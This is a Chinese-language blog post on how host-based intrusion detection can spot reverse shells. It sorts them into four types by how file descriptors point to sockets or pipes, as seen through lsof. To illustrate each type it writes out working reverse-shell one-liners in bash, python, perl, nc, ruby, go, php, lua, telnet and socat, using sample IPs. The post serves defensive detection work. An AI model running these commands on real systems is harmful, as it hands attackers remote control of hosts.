• 基于主机的反弹shell检测思路


    前言

    难免有时候网站会存在命令执行、代码执行等漏洞可能被黑客反弹shell,如何第一时间发现反弹shell特征,kill掉相应进程,保护主机安全呢?
    本文主要探究一下主机反弹shell有哪些特征,为HIDS检测主机反弹shell行为提供一些思路。

    类型一

    bash反弹

    先从最常规的开始举个例子。

    bash -i >& /dev/tcp/ip/port 0>&1

    原理简单说一下,本地打开bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程

    >&作用就是混合输出(错误、正确输出都输出到一个地方)

    /dev/tcp|udp/ip/port 可以看作是一个远程设备,所有重定向到该设备的信息
    都会被转发至 ip:port 对应的远程设备

    另外至少需要把标准输出流,标准输入流定向至远程,也就是远程输入命令
    执行结果定向至远程,形成一个回路,也就是交互式shell。

    查看一下进程的文件描述符:

    可以看到0,1,2文件描述符都被重定向至远程socket链接,lsof看一下bash进程:

    此时我们打开本地再打开一个bash,lsof命令查看一下进程描述符:


    可以看到正常情况下文件描述符指向/dev/pts/0(因为linux下一切皆文件,这个文件就代表伪终端或虚拟终端)而反弹shell的情况下文件描述符都是指向远程socket链接,同时用户可能是www、www-data、apache、nginx等用户

    补充:为什么每个bash进程都会有0,1,2三个文件描述符?
    shell会继承父进程的文件描述符,因此所有的shell都会默认有这三个文件描述符
    以后再打开文件,描述符依次增加(0,1,2分别代表标准输入,标准输出和标准错误输出)

    这是反弹shell最常见的特征,就是bash进程中的输入输出文件描述符被定向到远程socket链接,下面我们看看常见的其他反弹shell方法:

    python反弹

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

    s.fileno() 查看建立socket链接返回的文件描述符是3

    使用duo2方法将第二个形参(文件描述符)指向第一个形参(socket链接)

    接下来使用os的subprocess在本地开启一个子进程,启动bash交互模式,标准输入、标准输出、标准错误输出被重定向到了远程
    lsof命令查看一下:


    特征与上面基本一致,也是输入输出流被重定向到了远程socket链接

    perl反弹

    perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    特征与上面基本一致

    nc反弹shell

    nc -e /bin/bash 127.0.0.1 7777

    如果执行上面命令提示没有-e 选项,可能因为版本是openbsd,可以手动指定nc.traditional

    lsof发现与上面的基本相同,这种都是属于同一种类型的,类似的还有:

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’
    
    echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
    
    php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’
    
    r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
    
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    等等,上面都属于同一种类型,就是直接把bash文件描述符重定向至远程socket链接。

    类型二

    基本例子

    下面看一下另一种类型,不同进程之间通过管道相连接,最后通过多次管道定向至bash的输入输出。

    随便举个简单例子nc通过管道将远程的输入流定向至/bin/bash

    /bin/nc.traditional 10.211.55.2 7777 | /bin/bash

    命令的意思是接受来自远程的数据通过管道作为bash的输入

    lsof命令看到0也就是标准输入是来自管道,通过id追踪到管道另一端的进程

    看到另一个进程有一个socket的远程连接,也就是通过远程接受命令,然后通过管道传输给bash进程执行

    也就是说输入输出中间可能会经历多层管道,但最终一定会定向到远程的socket链接,pipe[387461] 最终还是被重定向至socket链接,中间需要根据id追踪一下管道两边的进程,完整过程如下,贴一张图就不做解释了:

    补充:解释一下pipe和fifo在linux里还是有点区别的:
    pipe是创建管道(匿名)的函数,管道(匿名)是内核中的一个单向数据通道,管道有一个读端和一个写端。一般用于父子进程之间的通信。
    fifo是命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在(因为多个进程要识别),它的行为却和之前匿名管道类似(一端读一端写),但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。

    nc

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f

    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准
    输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

    补充: https://blog.csdn.net/qq_42914528/article/details/82023408


    lsof可以看到0,1,2文件描述符全部被重定向到了管道,通过id追踪一下管道另一端的进程

    找到cat进程,发现一个进程名描述符指向文件,上面命令中已经有了体现,继续通过id追踪

    找到了nc进程,发现nc有对外socket链接,也就是说nc接受命令通过cat传给bash执行。

    telnet反弹shell

    mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a
    
    telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555

    与上面的类型,方法基本一样不做赘述。

    总结一下第二种类型的反弹shell:0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。

    类型三

    socat反弹shell

    可以看作是netcat增强版,Ubuntu下默认不预装

    反弹命令
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999
    监听命令
    socat file:`tty`,raw,echo=0 tcp-listen:9999

    补充:SOCK_DGRAM 是无保障的面向消息的socket,主要用于在网络上发广播信息。

    可以看出这种类型与上两种是有区别的bash通过管道与socat进程通信,但是管道并不是重定向的标准输入输出、标准错误输出这三个流而是其他的流,然后在程序内部再将该pipe管道定向到0,1,2这三个文件描述符。

    这就是第三种基本类型特征。

    类型四

    msf生成payload反弹shell

    这里以生成python为例,其他例如php等原理上都一样,生成payload受害主机上执行。lsof查看进程描述符的情况。

    可以看到python开启了一个远程socket链接,但是没有任何pipe管道指向bash进程,查看msf生成的payload可知只是返回了一个相当于代码执行,并不是真正意义上的交互式shell。
    反观其特征就是一个正常进程对外有一个socket链接,特征不足,这种并不好检测。

    dns_shell&icmp_shell

    网上有很多开源的反弹shell的比如:
    https://github.com/ahhh/Reverse_DNS_Shell
    正常shell走的是tcp或者udp协议,而他们走的是dns、icmp协议,在流量上做到了很好的伪装,但是在基于主机检测面前和上面的例子本质上是一样的。

    lsof命令查看进程信息:

    与上面情况基本一直,必须使用定制化的客户端,相当于代码执行上的一层封装。

    总结

    再往下总结甚至可以列出第五种类型,比如client端接受server端命令,新开一个bash子进程进行命令执行等等,骚操作层出不穷。

    从主机防护角度来讲,特征的高覆盖率势必对应着高误报,总要从这之间找到一个平衡点。

    但是回过头来仔细想想,从一个黑客的角度出发,是不是会从最简单的反弹shell方法开始尝试,那当他第一步尝试失败的时候我们已经抓到了入侵动机,并及时采取了措施。

  • 相关阅读:
    信息收集之DNS域名解析
    集合遍历利器 -- 迭代器模式 介绍 使用场景案例 优缺点及程序演示
    简单工厂的霸霸 -- 抽象工厂模式 介绍 使用场景案例 优缺点及程序演示
    可能是目前最易理解的手写promise
    chrome 开发者工具实用技巧
    gulp常用插件之modernizr使用
    koa-cors 跨域设置中间件
    在nodejs 中如何fs文件系统模块
    nodejs操作MongoDB数据库 MongoDB增、删、改、查
    vue动态渲染样式 class
  • 原文地址:https://www.cnblogs.com/anbuxuan/p/11848906.html
Copyright © 2020-2023  润新知